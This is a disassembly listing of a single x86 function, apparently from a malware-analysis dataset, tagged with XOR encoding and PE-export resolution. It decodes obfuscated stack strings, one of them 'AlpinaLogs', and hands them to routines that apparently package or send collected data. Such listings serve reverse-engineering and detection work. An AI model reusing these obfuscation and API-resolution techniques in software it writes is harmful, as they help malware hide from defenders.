Function at 0x409eb0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x110
cmp dword [ecx + 0x20], 0
je 0x40a609
mov esi, ecx
movzx eax, byte [ecx]
mov byte [esp + 0xf], 0
test eax, eax
je 0x409f05
cmp al, 0x64
jb 0x409f14
lea ecx, [eax + eax*4]
lea ecx, [eax + ecx*8]
movzx edx, cx
shr edx, 0xc
imul ecx, edx, 0x64
sub al, cl
movzx eax, al
movzx eax, word [eax + eax + 0x4387f4]
mov word [esp + 0xd], ax
mov ecx, 1
mov eax, edx
jmp 0x409f1d
lea eax, [esp + 0xe]
mov dword [esp + 0x38], eax
mov byte [esp + 0xe], 0x30
jmp 0x409f5f
mov ecx, 3
cmp al, 9
ja 0x409f34
movzx eax, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
lea edx, [esp + ecx]
add edx, 0xb
mov dword [esp + 0x38], edx
mov byte [esp + ecx + 0xb], al
jmp 0x409f5f
mov ecx, eax
and ecx, 0x7d
mov edx, eax
and edx, 2
or eax, 2
imul eax, edx
xor edx, 2
imul edx, ecx
movzx eax, word [edx + eax + 0x4387f4]
lea ecx, [esp + 0xd]
mov dword [esp + 0x38], ecx
mov word [esp + 0xd], ax
lea eax, [esi + 0x10]
push eax
call fcn.00406b60
add esp, 4
mov edi, dword [esi + 0x10]
mov eax, dword [esi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 0xe4], eax
lea eax, [esp + 0xeb]
push eax
call fcn.0042e780
add esp, 4
mov dword [esp + 0x3c], edi
lea eax, [edi + 0x800]
push eax
call fcn.00430260
add esp, 4
mov edi, eax
mov dword [esp + 0x5b], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0xe79b8694
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 0x1e
ja 0x40a048
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx edx, byte [esp + ecx + 0x40]
lea ebx, [eax - 0x5911cc2a]
mov ecx, ebx
xor ecx, edx
and ebx, edx
add eax, 0xd6
and eax, edx
add eax, ebx
sub ecx, eax
lea eax, [ecx + ebx*2]
mov ecx, eax
or ecx, 0x25
and eax, 0x25
add eax, ecx
inc al
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x40], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 0x1f
jb 0x40a000
lea eax, [esp + 0x40]
mov ecx, esi
lea edx, [esp + 0xeb]
push edx
push eax
push edi
call fcn.00409710
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0x9b363008
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 0x13
ja 0x40a0e7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
movzx edx, byte [esp + eax + 0x40]
lea eax, [ecx + edx]
add eax, 0xec
add ecx, 0xec
and ecx, edx
add ecx, ecx
sub eax, ecx
add al, 0x8c
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x40], al
mov eax, dword [esp + 0x10]
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
cmp eax, 0x14
jb 0x40a0a0
mov ecx, esi
push dword [esp + 0x38]
lea eax, [esp + 0x44]
push eax
push edi
call fcn.00409710
mov eax, dword [str.BVnUqo___AlpinaLogs]
mov dword [esp + 0x40], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov word [esp + 0x40], 0xa0a
mov byte [esp + 0x43], 0xab
mov dword [esp + 0x10], 0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x13
ja 0x40a18a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ebx, byte [esp + ecx + 0x40]
lea ecx, [edx + ebx]
add ecx, 0xc5
add edx, 0xc5
and edx, ebx
add edx, edx
sub ecx, edx
add cl, 0x9d
mov edx, dword [esp + 0x10]
mov byte [esp + edx + 0x40], cl
inc dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
cmp ecx, 0x14
jb 0x40a150
mov ecx, esi
push eax
lea eax, [esp + 0x44]
push eax
push edi
call fcn.00409710
mov dword [esp + 0x40], 0xef96ee93
mov dword [esp + 0x44], 0x9ae39aeb
mov dword [esp + 0x48], 0xd8e5ea9b
mov byte [esp + 0x4c], 0x32
mov dword [esp + 0x4d], 0
mov dword [esp + 0x51], 0
mov dword [esp + 0x55], 0
mov word [esp + 0x59], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 0x1a
ja 0x40a226
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0x40]
lea edx, [eax + 0x38ba3055]
mov ebx, ecx
not ebx
or ebx, edx
and edx, ecx
add edx, ebx
sub eax, edx
inc al
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x40], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 0x1b
jb 0x40a1f0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x9b16faf9
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x17
ja 0x40a2a8
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov eax, dword [esp + 8]
movzx edx, byte [esp + eax + 0x10]
lea eax, [ecx + edx]
add eax, 0x4b76a314
add ecx, 0x4b76a314
and ecx, edx
add ecx, ecx
sub eax, ecx
add al, 0x74
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x10], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x18
jb 0x40a270
lea edx, [esp + 0x10]
mov ecx, esi
lea eax, [esp + 0x40]
push eax
push edx
push edi
call fcn.00409710
mov dword [esp + 0x40], 0xe6eee0e6
mov byte [esp + 0x44], 0x54
mov dword [esp + 0x45], 0
mov dword [esp + 0x49], 0
mov dword [esp + 0x4d], 0
mov byte [esp + 0x51], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 0x11
ja 0x40a342
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx edx, byte [esp + ecx + 0x40]
lea ecx, [eax + edx]
add ecx, 0x84ef5674
add eax, 0x84ef5674
and eax, edx
add eax, eax
mov edx, ecx
not edx
and edx, eax
not eax
and eax, ecx
sub eax, edx
add al, 0xd4
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x40], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 0x12
jb 0x40a300
mov ecx, esi
push dword [esp + 0x3c]
push dword [esp + 0xe8]
lea eax, [esp + 0x48]
push eax
push edi
call fcn.004099b0
mov eax, dword [esi + 0x60]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], 0xbb90d43
mov dword [esp + 0x44], 0x17aa09ba
mov dword [esp + 0x48], 0x13a015b9
mov dword [esp + 0x4c], 0x1f6b11ac
mov dword [esp + 0x50], 0x1ba31d40
mov dword [esp + 0x54], 0x67cb19a8
mov dword [esp + 0x58], 0x63026522
mov dword [esp + 0x5c], 0x6fd361d5
mov dword [esp + 0x60], 0x6bd66dd8
mov dword [esp + 0x64], 0x77c669c1
mov dword [esp + 0x68], 0x73cc75d5
mov dword [esp + 0x6c], 0x7f0d71cc
mov dword [esp + 0x70], 0x7bc97dd6
mov dword [esp + 0x74], 0x47f379c6
mov dword [esp + 0x78], 0x43ee4531
mov dword [esp + 0x7c], 0x4ff241e1
mov dword [esp + 0x80], 0x4b0d4ded
mov dword [esp + 0x84], 0x57f84928
mov dword [esp + 0x88], 0x53ef55e7
mov dword [esp + 0x8c], 0x5ff251e2
mov dword [esp + 0x90], 0x5be45dfd
mov dword [esp + 0x94], 0xa7e359e1
mov dword [esp + 0x98], 0xa30fa50a
mov dword [esp + 0x9c], 0xafd3a1d8
mov dword [esp + 0xa0], 0xab07ad00
mov dword [esp + 0xa4], 0xb71fa9d5
mov dword [esp + 0xa8], 0xb31eb504
mov dword [esp + 0xac], 0xbf11b103
mov dword [esp + 0xb0], 0xbb17bd15
mov dword [esp + 0xb4], 0x8738b906
mov dword [esp + 0xb8], 0x83f38529
mov dword [esp + 0xbc], 0x8f988195
mov word [esp + 0xc0], 0x8d8c
mov byte [esp + 0xde], 0
mov dword [esp + 0xda], 0
mov dword [esp + 0xd6], 0
mov dword [esp + 0xd2], 0
mov dword [esp + 0xce], 0
mov dword [esp + 0xca], 0
mov dword [esp + 0xc6], 0
mov dword [esp + 0xc2], 0
mov dword [esp + 0x10], 0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x9e
ja 0x40a549
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x10]
movzx eax, byte [esp + edx + 0x40]
lea ebx, [ecx - 0x7b6c68d6]
mov edx, eax
not edx
or edx, ebx
and ebx, eax
add ebx, edx
sub ecx, ebx
add cl, 3
mov eax, dword [esp + 0x10]
mov byte [esp + eax + 0x40], cl
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 0x9f
jb 0x40a510
mov dword [esp + 0x10], 0xfb5bf9d7
mov dword [esp + 0x14], 0xff67fd6a
mov word [esp + 0x18], 0xf1fe
mov dword [esp + 0x1a], 0
mov dword [esp + 0x1e], 0
mov dword [esp + 0x22], 0
mov dword [esp + 0x25], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x18
ja 0x40a5d9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx edx, byte [esp + ecx + 0x10]
lea ecx, [eax + edx]
add ecx, 0xb79b083f
add eax, 0xb79b083f
and eax, edx
add eax, eax
sub ecx, eax
add cl, 0x47
mov eax, dword [esp + 8]
mov byte [esp + eax + 0x10], cl
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x19
jb 0x40a5a0
push 0x493e0
push dword [esp + 0x40]
push edi
push 0
push 0
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x28]
push eax
call fcn.0040e4d0
add esp, 0x1c
push edi
call fcn.00408c30
add esp, 4
mov dword [esi + 0x60], 0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret